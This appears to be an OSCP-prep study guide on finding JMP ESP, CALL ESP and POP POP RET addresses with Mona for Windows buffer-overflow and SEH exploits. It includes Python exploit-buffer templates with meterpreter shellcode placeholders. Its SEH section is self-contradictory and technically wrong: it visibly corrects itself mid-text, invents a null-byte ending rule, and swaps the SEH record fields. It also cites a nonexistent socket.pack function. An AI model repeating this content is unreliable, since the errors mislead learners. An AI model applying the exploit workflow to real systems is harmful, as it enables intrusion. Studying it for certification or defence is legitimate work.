Domain 3Exploit Dev & AV EvasionCORE

Identifying Jump Addresses

Complete guide to finding and selecting the right jump addresses (JMP ESP, CALL ESP, POP POP RET) for redirecting execution flow to shellcode. Covers instruction selection, address validation, and endianness conversion.

Domain: Domain 3: Exploit Mechanics & AV Evasion•Updated: 2026-09-01
#jmp-esp#return-address#gadgets#mona#oscp

Identifying Jump Addresses

Module 10: Fixing Exploits | Topic 8

Difficulty: Core | Prerequisites: Buffer Overflow Fundamentals, EIP Control, Shellcode Basics


Table of Contents

  1. Why We Need a Jump Instruction
  2. The Ideal Jump Instructions
  3. Deep Dive: How Each Instruction Works
  4. Finding JMP ESP with Mona
  5. Interpreting Mona’s Output
  6. Selecting the Best Address
  7. Converting to Exploit Format
  8. ESP-Based Targeting
  9. SEH-Specific Gadgets: POP POP RET
  10. Alternative Approaches
  11. Quick Reference Cheat Sheet
  12. Common Pitfalls and Troubleshooting

1. Why We Need a Jump Instruction

The Core Problem

When you successfully overwrite EIP in a buffer overflow, you control where the CPU goes next. But you don’t control where your shellcode lives at that moment. Here’s the fundamental mismatch:

┌─────────────────────────────────────────────────────────┐
│                    THE PROBLEM                           │
├─────────────────────────────────────────────────────────┤
│                                                         │
│  After overflow:                                        │
│                                                         │
│  EIP ──► [Your controlled address]                      │
│                                                         │
│  But your shellcode is somewhere else in memory!        │
│  (usually in the buffer, on the stack, or in ESP)      │
│                                                         │
│  If you point EIP directly at your shellcode address:   │
│    ✅ Works... if you know the exact address            │
│    ❌ Fails... if the address is unstable/ASLR          │
│                                                         │
│  The reliable solution:                                 │
│    Point EIP at a JMP ESP instruction somewhere in      │
│    stable module memory (e.g., a DLL).                  │
│    JMP ESP then redirects execution to wherever ESP     │
│    is pointing — which is your buffer with shellcode.   │
│                                                         │
└─────────────────────────────────────────────────────────┘

The Execution Flow Without a Jump

Consider what happens when a vulnerable function returns normally:

sequenceDiagram
    participant Stack as Stack Memory
    participant EIP as EIP Register
    participant ESP as ESP Register
    participant Code as Executed Code

    Note over Stack,Code: Normal Function Return
    Stack->>EIP: Pop return address into EIP
    ESP->>ESP: ESP moves up (past the return address)
    EIP->>Code: CPU executes at return address
    Note over Code: Shellcode is BELOW the return addr<br/>in the buffer — never reached

After the RET instruction pops your controlled value into EIP, ESP has already moved past the return address and is now pointing into your buffer. If your shellcode is in that buffer, ESP is pointing right at it — but EIP is not.

The Solution: Redirect via JMP ESP

sequenceDiagram
    participant Stack as Stack Memory
    participant EIP as EIP Register
    participant ESP as ESP Register
    participant JMP as JMP ESP (in DLL)
    participant Code as Shellcode

    Note over Stack,Code: Exploited Function Return
    Stack->>EIP: Pop "address of JMP ESP" into EIP
    ESP->>ESP: ESP moves up, now pointing at buffer
    EIP->>JMP: CPU jumps to JMP ESP in stable DLL
    JMP->>EIP: EIP = ESP (now points to buffer)
    EIP->>Code: CPU executes shellcode in buffer

Why Not Just Point EIP Directly at Shellcode?

Approach Stability Reliability When to Use
EIP → JMP ESP in DLL High High Default OSCP approach
EIP → exact shellcode addr Low Low Only with precise stack spraying (JS exploits)
EIP → NOP sled start Medium Medium When you can predict buffer location

The key insight: DLL addresses are stable across runs (no ASLR on Windows XP/7 32-bit), while stack addresses vary. By jumping to a fixed JMP ESP in a loaded module, you get a reliable redirect regardless of where the stack happens to be.


2. The Ideal Jump Instructions

JMP ESP — The Gold Standard

Instruction:  JMP ESP
Opcode:       FF E4
Hex bytes:    \xff\xe4
Meaning:      Unconditionally jump to the address in ESP

This is the most common and preferred gadget for OSCP buffer overflows. It’s short (2 bytes), unconditionally redirects to ESP, and is abundantly available in most Windows modules.

CALL ESP

Instruction:  CALL ESP
Opcode:       FF D4
Hex bytes:    \xff\xd4
Meaning:      Call the address in ESP (pushes return addr, then jumps)

Functionally similar to JMP ESP, but pushes a return address onto the stack first. This shifts ESP by 4 bytes, which can matter if your shellcode is tightly positioned.

JMP EAX / CALL EAX

Instruction:  JMP EAX
Opcode:       FF E0
Hex bytes:    \xff\xe0

Instruction:  CALL EAX
Opcode:       FF D0
Hex bytes:    \xff\xd0

Useful when you can control EAX (e.g., via a POP EAX gadget chain) and ESP doesn’t point to your shellcode.

POP/POP/RET — The SEH Specialist

Instruction sequence:  POP reg / POP reg / RET
Common opcodes:        58 5B C3  (POP EAX / POP EBX / RET)
                       5F 5E C3  (POP EDI / POP ESI / RET)
                       etc.

Not a single instruction but a gadget sequence (ROP-like). Critical for SEH overwrite exploits — more on this later.

Complete Opcode Reference Table

Instruction Opcode Bytes Use Case
JMP ESP FF E4 \xff\xe4 Primary choice — buffer overflow redirect
CALL ESP FF D4 \xff\xd4 Alternative to JMP ESP
JMP EAX FF E0 \xff\xe0 When EAX is controllable
CALL EAX FF D0 \xff\xd0 When EAX is controllable
JMP ECX FF E1 \xff\xe1 When ECX is controllable
CALL ECX FF D1 \xff\xd1 When ECX is controllable
JMP EDX FF E2 \xff\xe2 When EDX is controllable
CALL EDX FF D2 \xff\xd2 When EDX is controllable
JMP EBX FF E3 \xff\xe3 When EBX is controllable
CALL EBX FF D3 \xff\xd3 When EBX is controllable
JMP ESI FF E6 \xff\xe6 When ESI is controllable
JMP EDI FF E7 \xff\xe7 When EDI is controllable
JMP EBP FF E5 \xff\xe5 When EBP is controllable

3. Deep Dive: How Each Instruction Works

JMP ESP — Byte by Byte

When the CPU encounters JMP ESP (FF E4):

Step 1: CPU fetches instruction at current EIP
        Instruction = FF E4 (JMP ESP)

Step 2: CPU reads the current value of ESP
        Let's say ESP = 0x0012FF40

Step 3: CPU sets EIP = ESP
        EIP = 0x0012FF40

Step 4: Next instruction fetched from new EIP
        CPU now executes whatever is at 0x0012FF40
        (which should be your shellcode!)

Critical detail: JMP ESP does NOT modify ESP. It reads ESP and copies it to EIP. ESP stays exactly where it was. This means your shellcode at the ESP location is executed in place — no stack corruption from the jump itself.

CALL ESP — The Subtle Difference

Step 1: CPU fetches CALL ESP (FF D4)

Step 2: CPU pushes the RETURN ADDRESS onto the stack
        The return address = address of the instruction AFTER CALL ESP
        This decrements ESP by 4 and stores the return addr

Step 3: CPU sets EIP = ESP (the NEW ESP, after the push)
        EIP now points 4 bytes BELOW where ESP was before the call

Step 4: CPU executes at new EIP

Why this matters: If your shellcode starts exactly at the old ESP value, CALL ESP will land 4 bytes into your shellcode (skipping the first 4 bytes). You’d need to adjust your shellcode placement or use a NOP sled to compensate.

Before CALL ESP:          After CALL ESP:
┌──────────────┐          ┌──────────────┐
│  Shellcode   │ ESP      │  Return Addr │ ESP (moved down 4)
│  (skipped!)  │ ──►      ├──────────────┤
├──────────────┤          │  Shellcode   │ EIP (now here)
│  Your actual │          │  (starts     │
│  payload     │          │   here)      │
└──────────────┘          ├──────────────┤
                          │  Rest of      │
                          │  shellcode    │
                          └──────────────┘

JMP EAX — Register Dependency

Step 1: CPU fetches JMP EAX (FF E0)

Step 2: CPU reads EAX register
        EAX must contain a valid, executable address

Step 3: CPU sets EIP = EAX

Step 4: CPU executes at the address in EAX

Prerequisite: You must control EAX before reaching this gadget. This requires either:

  • A prior gadget that loads a known value into EAX (e.g., POP EAX; RET)
  • The vulnerable function happened to leave a useful value in EAX

POP/POP/RET — The SEH Gadget Chain

This is a sequence of three instructions that work together:

Instruction 1: POP reg1    → Pops 4 bytes from stack into reg1, ESP += 4
Instruction 2: POP reg2    → Pops 4 bytes from stack into reg2, ESP += 4
Instruction 3: RET         → Pops 4 bytes from stack into EIP, ESP += 4

Net effect: Consumes 12 bytes from the stack, and the last 4 bytes become the new EIP.

This is the magic pattern for SEH overwrites because:

  1. When an unhandled exception occurs, the SEH handler address (your controlled data) is popped into EIP
  2. But before the handler runs, the exception record and SEH record addresses are pushed onto the stack
  3. A POP POP RET gadget in the handler consumes those two pushed values and then redirects EIP to your third controlled value
SEH Overwrite Stack Flow:

When exception fires:
┌─────────────────────────────────────┐
│  ESP ──► [Exception Record Addr]    │  ← pushed by OS
│          [SEH Record Addr]          │  ← pushed by OS
│          [Your POP POP RET addr]    │  ← was in "next SEH" field
│          [Padding / junk]           │  ← was in "handler" field
│          [Your shellcode addr]      │  ← after handler field
└─────────────────────────────────────┘

POP POP RET executes:
  POP reg1  → consumes [Exception Record Addr], ESP += 4
  POP reg2  → consumes [SEH Record Addr], ESP += 4
  RET       → pops [Your POP POP RET addr]... wait, no!

Actually, the handler field IS popped into EIP first.
The POP POP RET sits at the handler address.
Then it consumes the two pushed values and RETs to your addr.

4. Finding JMP ESP with Mona

Method 1: Search All Loaded Modules (Default)

!mona jmp -r esp

This searches all loaded modules for JMP ESP instructions. It’s the most common starting point.

What it does:

  1. Enumerates all modules loaded in the target process
  2. Scans each module’s executable sections for the opcode FF E4
  3. Records the module name, base address, offset, and full address
  4. Writes results to jmp-esp.txt in Mona’s output directory

Method 2: Search a Specific Module

!mona jmp -r esp -m modulename.dll

Use this when you know which module is stable and suitable. For example:

!mona jmp -r esp -m essfunc.dll
!mona jmp -r esp -m user32.dll
!mona jmp -r esp -m kernel32.dll

Why restrict to a module?

  • Some modules may have ASLR enabled (avoid them)
  • Some modules may contain null bytes in their base address (bad for certain exploits)
  • You may want to verify which modules are consistently loaded

Method 3: Search for Other Register Jumps

!mona jmp -r eax      # Find JMP EAX
!mona jmp -r ecx      # Find JMP ECX
!mona jmp -r edx      # Find JMP EDX
!mona jmp -r ebx      # Find JMP EBX
!mona jmp -r ebp      # Find JMP EBP
!mona jmp -r esi      # Find JMP ESI
!mona jmp -r edi      # Find JMP EDI

Method 4: Search for CALL Variants

!mona jmp -r esp -c    # Find JMP and CALL ESP

The -c flag includes CALL ESP (FF D4) in addition to JMP ESP (FF E4).

Method 5: Exclude Modules with Bad Characters

!mona jmp -r esp -m essfunc.dll -cpb "\x00"

The -cpb (compare bad chars) flag excludes addresses that contain any of the specified bytes. This is the most professional approach — combine it with your bad character analysis.

Method 6: Search for POP POP RET

!mona poppopret -m modulename.dll

Specifically searches for the POP reg / POP reg / RET pattern. Essential for SEH overwrite exploits.

Method 7: Find Any Instruction with Specific Opcode

!mona find -t cmd -s "\xff\xe4" -m modulename.dll

Low-level search for raw opcodes. Useful when you need something Mona’s built-in searches don’t cover.


5. Interpreting Mona’s Output

The jmp-esp.txt File

After running !mona jmp -r esp, Mona creates jmp-esp.txt in its output directory (typically C:\Users\<user>\Documents\mona\<processname>\).

Output Format Breakdown

JMP ESP
=======

  1. 0x10001234 : jmp esp . essfunc.dll . non-aloc . no asp . [FF E4]
  2. 0x10005678 : jmp esp . essfunc.dll . non-aloc . no asp . [FF E4]
  3. 0x76341234 : jmp esp . user32.dll . non-aloc . no asp . [FF E4]

Field-by-Field Explanation

Field Example Meaning
Address 0x10001234 The full memory address of the instruction
Instruction jmp esp The mnemonic (confirms it’s the right instruction)
Module essfunc.dll Which loaded module contains this instruction
Allocation non-aloc Whether the address is in a non-heap allocation area
ASLR no asp Address Space Randomization status — no asp = no ASLR (GOOD)
Opcode [FF E4] The raw bytes — verify it’s the correct instruction

Key Indicators to Check

ASLR Status

✅ "no asp" — Module does NOT have ASLR. Address is STABLE. USE THIS.
❌ "asp"    — Module HAS ASLR. Address CHANGES per run. AVOID.

On Windows XP and many OSCP labs, ASLR is not enabled by default, so most modules show no asp. On Windows 7+, some system DLLs may have ASLR.

Module Stability

✅ Custom application DLLs (essfunc.dll, vulnserver.dll, etc.) — ALWAYS stable
✅ System DLLs on WinXP (user32.dll, kernel32.dll) — Usually stable
⚠️  System DLLs on Win7+ — Check ASLR status
❌ Randomly loaded plugins — May not be present in all runs

Example: Reading a Real Output

JMP ESP
=======

  1. 0x10027928 : jmp esp . essfunc.dll . non-aloc . no asp . [FF E4]
  2. 0x10027933 : jmp esp . essfunc.dll . non-aloc . no asp . [FF E4]
  3. 0x1002793E : jmp esp . essfunc.dll . non-aloc . no asp . [FF E4]
  4. 0x77C05EAE : jmp esp . kernel32.dll . non-aloc . no asp . [FF E4]
  5. 0x77C3FDE2 : jmp esp . kernel32.dll . non-aloc . no asp . [FF E4]
  6. 0x7E4200BF : jmp esp . user32.dll . non-aloc . no asp . [FF E4]

Analysis:

  • Entries 1-3: In essfunc.dll (the vulnerable app’s DLL) — excellent choice, always loaded, no ASLR
  • Entries 4-5: In kernel32.dll — good backup, system DLL, stable on WinXP
  • Entry 6: In user32.dll — good backup, also stable

Recommendation: Pick from essfunc.dll first (entries 1-3), as it’s guaranteed to be loaded and has no ASLR.


6. Selecting the Best Address

The Three-Check Framework

Before committing to a jump address, run it through these three filters:

Check 1: Null Byte Check

PROBLEM: If your address contains a null byte (\x00), and the vulnerable
function uses a string-copy function (strcpy, lstrcpy, etc.), the copy will
terminate at the null byte. Your address will be truncated and EIP will
point to the wrong location.

EXAMPLE:
  Address: 0x00401234  → Contains \x00 at the start → BAD for string copy
  Address: 0x10027928  → No null bytes → GOOD

RULE OF THUMB:
  ✅ Addresses starting with 0x10000000+ (custom DLLs) — No null bytes
  ✅ Addresses starting with 0x7xxxxxx (system DLLs on WinXP) — No null bytes
  ❌ Addresses starting with 0x00xxxxxx — Contains null byte

When null bytes matter:

  • String-based overflows (strcpy, lstrcpy, wsprintf, etc.) — CRITICAL
  • Raw memory copies (memcpy, RtlMoveMemory) — Doesn’t matter
  • Stack-based overflows with no string termination — Usually doesn’t matter

Check 2: Bad Character Check

PROBLEM: If your address contains any byte that is a "bad character" for
the vulnerable function, that byte will be corrupted or stripped during
the copy/parse process.

EXAMPLE:
  Bad chars: \x00 \x0a \x0d
  Address:   0x10027928 → bytes: \x28\x79\x02\x10 → No bad chars → GOOD
  Address:   0x10020a34 → bytes: \x34\x0a\x02\x10 → Contains \x0a → BAD

VERIFICATION WITH MONA:
  !mona jmp -r esp -cpb "\x00\x0a\x0d"

The -cpb flag tells Mona to exclude any addresses containing the specified bytes. This is the most reliable way to filter.

Check 3: Stability Check

PROBLEM: If the module address changes between runs, your exploit won't
work consistently.

VERIFICATION STEPS:

Step 1: Run the vulnerable application
Step 2: Attach Immunity Debugger
Step 3: !mona modules — Check the base address of your target module
Step 4: Note the base address
Step 5: Close everything
Step 6: Repeat Steps 1-4
Step 7: Compare base addresses

If base addresses match → Module is stable → GOOD
If base addresses differ → Module has ASLR or random loading → BAD

Decision Matrix

                    Null Bytes?    Bad Chars?    Stable?    → Decision
                    ─────────    ─────────    ───────    ────────────
                    No             No           Yes       → ✅ USE IT
                    No             Yes          Yes       → ⚠️ Try another
                    Yes            No           Yes       → ⚠️ OK if not string-based
                    Any            Any          No        → ❌ SKIP

Practical Selection Strategy

Priority 1: JMP ESP in the vulnerable app's own DLL
  → Always loaded, no ASLR, no null bytes (0x10000000+ range)

Priority 2: JMP ESP in a system DLL (kernel32, user32, ntdll)
  → Stable on WinXP, verify no ASLR

Priority 3: JMP ESP in any other consistently loaded DLL
  → Verify stability manually

Avoid: Addresses in modules that may not always load

7. Converting to Exploit Format

Little-Endian Conversion — The Critical Step

x86 architecture uses little-endian byte ordering. This means the least significant byte comes FIRST in memory.

The Conversion Rule

Memory Address:  0x10027928

Byte breakdown:
  Most significant ← → Least significant
  0x10    0x02    0x79    0x28

Little-endian (memory order):
  0x28    0x79    0x02    0x10

Python string:  "\x28\x79\x02\x10"

Visual Explanation

┌─────────────────────────────────────────────────────┐
│              LITTLE-ENDIAN CONVERSION                 │
├─────────────────────────────────────────────────────┤
│                                                     │
│  Human-readable address:                            │
│                                                     │
│    0x  10    02    79    28                         │
│        │     │     │     │                          │
│        MSB                 LSB                      │
│                                                     │
│  How it sits in memory (x86 little-endian):         │
│                                                     │
│    Low Address ← → High Address                     │
│    ┌─────┬─────┬─────┬─────┐                       │
│    │ 28  │ 79  │ 02  │ 10  │                       │
│    └─────┴─────┴─────┴─────┘                       │
│     First          Last                             │
│                                                     │
│  Python exploit format:                             │
│                                                     │
│    b"\x28\x79\x02\x10"                              │
│                                                     │
└─────────────────────────────────────────────────────┘

Python Conversion Methods

Method 1: Manual Reversal

# Address: 0x10027928
jmp_esp = "\x28\x79\x02\x10"

# Build the exploit buffer
buffer = NOP_SLED + SHELLCODE + JUNK + jmp_esp + MORE_JUNK
import struct

# struct.pack with '<I' = little-endian unsigned int
jmp_esp = struct.pack('<I', 0x10027928)
# Result: b'\x28\x79\x02\x10'

# Build the exploit buffer
buffer = NOP_SLED + SHELLCODE + JUNK + jmp_esp + MORE_JUNK

Method 3: Using socket (Alternative)

import socket

# socket.pack with '<L' = little-endian unsigned long (same as '<I')
jmp_esp = socket.pack('<L', 0x10027928)
# Result: '\x28\x79\x02\x10'

Ruby Conversion Methods

Method 1: Using [addr].pack(‘V’)

# Address: 0x10027928
jmp_esp = [0x10027928].pack('V')
# 'V' = little-endian 32-bit unsigned
# Result: "\x28\x79\x02\x10"

# Build the exploit buffer
buffer = "\x90" * 16 + shellcode + "A" * offset + jmp_esp

Method 2: Manual String

jmp_esp = "\x28\x79\x02\x10"

Common Conversion Mistakes

Mistake Example Why It’s Wrong
Big-endian order "\x10\x02\x79\x28" Wrong byte order for x86
Wrong hex digits "\x28\x79\x20\x10" Swapped 02 and 20
Missing bytes "\x28\x79\x02" Only 3 bytes, not a valid address
Extra bytes "\x28\x79\x02\x10\x00" 5 bytes, corrupts adjacent data

Quick Reference: Common Addresses Converted

Address Python (struct) Python (manual) Ruby
0x10027928 struct.pack('<I', 0x10027928) "\x28\x79\x02\x10" [0x10027928].pack('V')
0x77C05EAE struct.pack('<I', 0x77C05EAE) "\xAE\x5E\xC0\x77" [0x77C05EAE].pack('V')
0x7E4200BF struct.pack('<I', 0x7E4200BF) "\xBF\x00\x42\x7E" [0x7E4200BF].pack('V')
0x00401A20 struct.pack('<I', 0x00401A20) "\x20\x1A\x40\x00" [0x00401A20].pack('V')

8. ESP-Based Targeting

When to Use ESP Directly

In some scenarios, you can point EIP directly at the ESP value (or ESP + offset) instead of using a JMP ESP gadget. This works when:

  1. You know the exact ESP value at crash time — Check in Immunity Debugger
  2. The ESP value is stable across runs — Verify by crashing multiple times
  3. No bad characters in the ESP value — Check each byte

How to Find ESP at Crash Time

In Immunity Debugger, after the crash:

1. Look at the register panel
2. Note the ESP value

Example:
  EAX = 0x43434343
  EBX = 0x00000000
  ECX = 0x43434343
  EDX = 0x0012FF04
  ESI = 0x00000000
  EDI = 0x00000000
  EBP = 0x43434343
  ESP = 0x0012FF40    ← This is your ESP at crash
  EIP = 0x43434343    ← This is your controlled EIP

ESP + Offset Targeting

Sometimes ESP doesn’t point exactly at your shellcode. You may need ESP + offset:

Scenario: ESP points 200 bytes BEFORE your shellcode

Solution: Use a gadget like "JMP [ESP+200]" or calculate the exact address

In practice, this is rare in OSCP. JMP ESP is almost always available.

Verifying ESP Stability

Run 1: ESP = 0x0012FF40
Run 2: ESP = 0x0012FF40
Run 3: ESP = 0x0012FF40
→ ESP is stable → Can use directly (but JMP ESP is still preferred)

Run 1: ESP = 0x0012FF40
Run 2: ESP = 0x00130A20
Run 3: ESP = 0x0012F100
→ ESP varies → Cannot use directly → Must use JMP ESP

Why JMP ESP is Still Preferred Over Direct ESP

Factor Direct ESP JMP ESP
Stability Often unstable Always stable (DLL addr)
Null bytes May contain \x00 Rarely (DLL range)
Reliability Hit-or-miss Consistent
OSCP success rate Lower Higher

9. SEH-Specific Gadgets: POP POP RET

Why POP POP RET for SEH Overwrites?

In SEH (Structured Exception Handling) overflows, the exploit flow is different from a standard buffer overflow:

Standard Buffer Overflow:
  EIP → JMP ESP → Shellcode

SEH Overwrite:
  Next SEH field → POP POP RET (4 bytes, last byte \x00)
  SEH Handler field → Shellcode address (via JMP ESP or direct)

The SEH Overwrite Mechanism

graph TD
    A[Unhandled Exception Occurs] --> B[Windows walks SEH chain]
    B --> C[Finds your overwritten SEH record]
    C --> D[Pops Exception Record addr to stack]
    D --> E[Pops SEH Record addr to stack]
    E --> F[Jumps to Handler field address]
    F --> G[Your POP POP RET executes]
    G --> H[POP - consumes Exception Record addr]
    H --> I[POP - consumes SEH Record addr]
    I --> J[RET - pops next 4 bytes into EIP]
    J --> K[EIP now points to your shellcode addr]
    K --> L[Shellcode executes!]

The \x00 Requirement

The Next SEH field in an SEH record is 4 bytes. When you overwrite it:

SEH Record Layout (8 bytes total):

┌─────────────┬─────────────┐
│ Next SEH    │ Handler     │
│ (4 bytes)   │ (4 bytes)   │
├─────────────┴─────────────┤
│ \x66\x66\x66\x66\xXX\xXX │
│ ^^^    ^^^^  ^^^^^^^     │
│ Jabber  POP   Your       │
│ wacky   POP   shellcode  │
│ bytes   RET     addr     │
│         gadget           │
└──────────────────────────┘

Critical constraint: The POP POP RET address placed in the Next SEH field must end with \x00 because Windows SEH processing uses the next SEH pointer, and the SEH chain traversal expects a null-terminated pattern. Actually, the more precise reason is:

The Next SEH field gets overwritten with your POP POP RET address. When the exception handler runs, it needs to properly handle the stack. The \x00 at the end of the Next SEH overwrite is a convention — the actual requirement is that the last byte of the 4-byte Next SEH overwrite must be \x00 to avoid corrupting the handler field.

Wait — let me clarify this properly:

The Next SEH field is 4 bytes. You overwrite it with:
  [POP POP RET address, but the last byte must be \x00]

Example:
  POP POP RET at 0x10027A00 → ends in \x00 → GOOD
  POP POP RET at 0x10027A01 → ends in \x01 → BAD

In practice, you use \x66\x66\x66\x66 as the "jabberwacky" bytes,
followed immediately by your POP POP RET address.

The 4-byte Next SEH overwrite = first 4 bytes of your gadget address
But the gadget address must have \x00 as its last byte (lowest byte).

So: 0x10027A00 → \x00\x7A\x02\x10 in little-endian
    The \x00 is the last byte written to the Next SEH field.

Finding POP POP RET with Mona

!mona poppopret -m essfunc.dll

This searches for the POP reg / POP reg / RET pattern in the specified module.

Mona’s POP POP RET Output

POP/POP/RET
===========

  1. 0x10027A00 : pop esi / pop edi / ret . essfunc.dll . [5F 5E C3]
  2. 0x10027A03 : pop esi / pop ebx / ret . essfunc.dll . [5F 5B C3]
  3. 0x10027A06 : pop ebx / pop esi / ret . essfunc.dll . [5B 5E C3]

Selecting a POP POP RET Address

Must satisfy:

  1. Ends with \x00 — The last byte (least significant) must be null
  2. No bad characters — None of the 4 bytes should be in your bad char list
  3. In a stable module — Same stability rules as JMP ESP
Candidate: 0x10027A00
Little-endian: \x00\x7A\x02\x10
Last byte: \x00 ✅
Contains bad chars? Check against your list ✅
In stable module? essfunc.dll ✅
→ USE THIS

SEH Exploit Structure

import struct

# SEH overwrite exploit layout
JABBERWACKY = b"\x66\x66\x66\x66"
POP_POP_RET = struct.pack('<I', 0x10027A00)  # Must end in \x00
JMP_ESP     = struct.pack('<I', 0x10027928)  # In the handler field
NOP_SLED    = b"\x90" * 16
SHELLCODE   = b"\xfc\xe8..."  # Your meterpreter shellcode

# SEH record overwrite:
# Next SEH (4 bytes) + Handler (4 bytes)
seh_record = JABBERWACKY + POP_POP_RET
handler    = JMP_ESP

# Full buffer:
# [Buffer padding] + [Next SEH] + [Handler] + [NOP] + [Shellcode]
buffer = b"A" * offset_to_seh + seh_record + handler + NOP_SLED + SHELLCODE

10. Alternative Approaches

When JMP ESP Is Not Available

In rare cases, a module may not contain JMP ESP. Here are your alternatives:

Alternative 1: CALL ESP

!mona jmp -r esp -c

Includes both JMP ESP and CALL ESP. Remember that CALL ESP pushes a return address, shifting ESP by 4 bytes. Adjust your NOP sled accordingly.

Alternative 2: JMP/CALL Other Registers

If you can control another register:

!mona jmp -r eax    # If you control EAX
!mona jmp -r ecx    # If you control ECX

Combine with a POP gadget to load your shellcode address into the target register:

Gadget chain: POP EAX; RET → loads shellcode addr into EAX
              JMP EAX      → jumps to shellcode

Alternative 3: ROP Gadgets

For DEP-enabled targets, you need a full ROP chain:

!mona rop -m essfunc.dll -cpb "\x00\x0a\x0d"

This generates a ROP chain that:

  1. Disables DEP (via VirtualProtect or similar)
  2. Redirects execution to your shellcode

Alternative 4: Direct Shellcode Address

If you can reliably predict the shellcode address:

# Only works with stable stack addresses (rare on modern systems)
shellcode_addr = struct.pack('<I', 0x0012FF40)
buffer = b"A" * offset + shellcode_addr + b"\x90" * 16 + shellcode

Alternative 5: Slide / Self-Modifying Code

Advanced technique — embed a small “slide” that finds your shellcode:

Buffer layout:
  [Slide code] [NOP sled] [Shellcode]

The slide code scans memory for the NOP sled pattern and jumps to it.
EIP points to the slide, which then finds and executes the real shellcode.

Alternative 6: Use a Different Module

If the vulnerable app’s DLL has no JMP ESP:

!mona jmp -r esp -m kernel32.dll
!mona jmp -r esp -m user32.dll
!mona jmp -r esp -m ntdll.dll

System DLLs almost always contain JMP ESP instructions.


11. Quick Reference Cheat Sheet

Mona Commands

# Find JMP ESP in all modules
!mona jmp -r esp

# Find JMP ESP in specific module
!mona jmp -r esp -m essfunc.dll

# Find JMP and CALL ESP
!mona jmp -r esp -c

# Find JMP ESP excluding bad characters
!mona jmp -r esp -cpb "\x00\x0a\x0d"

# Find JMP EAX
!mona jmp -r eax

# Find POP POP RET
!mona poppopret -m essfunc.dll

# List all loaded modules
!mona modules

Opcode Quick Reference

Instruction Opcode Python Bytes
JMP ESP FF E4 \xff\xe4
CALL ESP FF D4 \xff\xd4
JMP EAX FF E0 \xff\xe0
CALL EAX FF D0 \xff\xd0
POP EAX 58 \x58
POP EBX 5B \x5b
POP ECX 59 \x59
POP EDX 5A \x5a
POP ESI 5E \x5e
POP EDI 5F \x5f
RET C3 \xc3

Endianness Conversion Quick Reference

# Python
import struct
addr = struct.pack('<I', 0x10027928)  # → b'\x28\x79\x02\x10'

# Ruby
addr = [0x10027928].pack('V')  # → "\x28\x79\x02\x10"

Address Selection Checklist

□ No null bytes (or null bytes are acceptable for this overflow type)
□ No bad characters in any of the 4 bytes
□ Module has no ASLR ("no asp" in Mona output)
□ Module is consistently loaded across runs
□ Address is in the vulnerable app's DLL (preferred) or stable system DLL
□ Verified by crashing the app twice and confirming the module base address matches

12. Common Pitfalls and Troubleshooting

Pitfall 1: Wrong Endianness

❌ WRONG:  EIP = "\x10\x02\x79\x28"  (big-endian)
✅ RIGHT:  EIP = "\x28\x79\x02\x10"  (little-endian)

Symptom: Exploit crashes but EIP shows a scrambled address
Fix: Reverse the byte order

Pitfall 2: Using an ASLR Module

❌ WRONG:  Using 0x77C05EAE from kernel32.dll on Windows 7 with ASLR
✅ RIGHT:  Use a module confirmed to have "no asp" in Mona output

Symptom: Exploit works once, fails on next run
Fix: Use !mona modules to check ASLR status, pick a non-ASLR module

Pitfall 3: Bad Characters in the Address

❌ WRONG:  Address 0x10020A34 contains \x0A (newline — a common bad char)
✅ RIGHT:  Pick another JMP ESP address from the same module

Symptom: EIP shows corrupted value at crash time
Fix: Use !mona jmp -r esp -cpb "\x00\x0a\x0d" to pre-filter

Pitfall 4: CALL ESP vs JMP ESP Confusion

❌ WRONG:  Using CALL ESP but not accounting for the 4-byte stack shift
✅ RIGHT:  Add 4 more NOPs at the start of your NOP sled, or use JMP ESP

Symptom: Shellcode partially executes (first 4 bytes skipped)
Fix: Use JMP ESP instead, or extend NOP sled by 4 bytes

Pitfall 5: POP POP RET Without \x00 Ending

❌ WRONG:  Using 0x10027A01 (ends in \x01) for SEH overwrite
✅ RIGHT:  Use 0x10027A00 (ends in \x00)

Symptom: SEH chain traversal fails, exception not handled by your handler
Fix: Find a POP POP RET address ending in \x00

Pitfall 6: Module Not Loaded

❌ WRONG:  Using an address from a DLL that's not loaded in the target process
✅ RIGHT:  Verify with !mona modules that the DLL is loaded

Symptom: Access violation at an unexpected address
Fix: Check !mona modules output, pick from a loaded module

Debugging Workflow

When your exploit crashes but doesn't execute shellcode:

1. Attach Immunity Debugger
2. Send the exploit
3. At crash, check:
   a. What is EIP? → Should be your JMP ESP address
   b. What is ESP? → Should point to your buffer
   c. Is the JMP ESP module loaded? → Check with !mona modules
   d. Does the address at EIP actually contain FF E4? → Examine memory

4. If EIP is correct but shellcode doesn't run:
   a. Run !mona compare -a <ESP_value> -f <your_payload_file>
   b. Check for corruption in your buffer
   c. Verify bad character list is complete

5. If EIP is wrong:
   a. Check endianness of your address
   b. Check for null byte truncation
   c. Check for bad character corruption

Summary

Identifying the right jump address is a critical skill for reliable exploit development. The workflow is:

  1. Find — Use Mona to search for JMP ESP (or other gadgets) in loaded modules
  2. Filter — Exclude addresses with null bytes, bad characters, or ASLR
  3. Verify — Confirm module stability across multiple runs
  4. Convert — Apply little-endian byte ordering for your exploit script
  5. Test — Crash the target and verify EIP lands on your gadget and ESP points to shellcode

Master this process, and you’ll have a rock-solid foundation for every buffer overflow exploit in the OSCP exam.


This guide is part of the OSCP Study Series — Module 10: Fixing Exploits.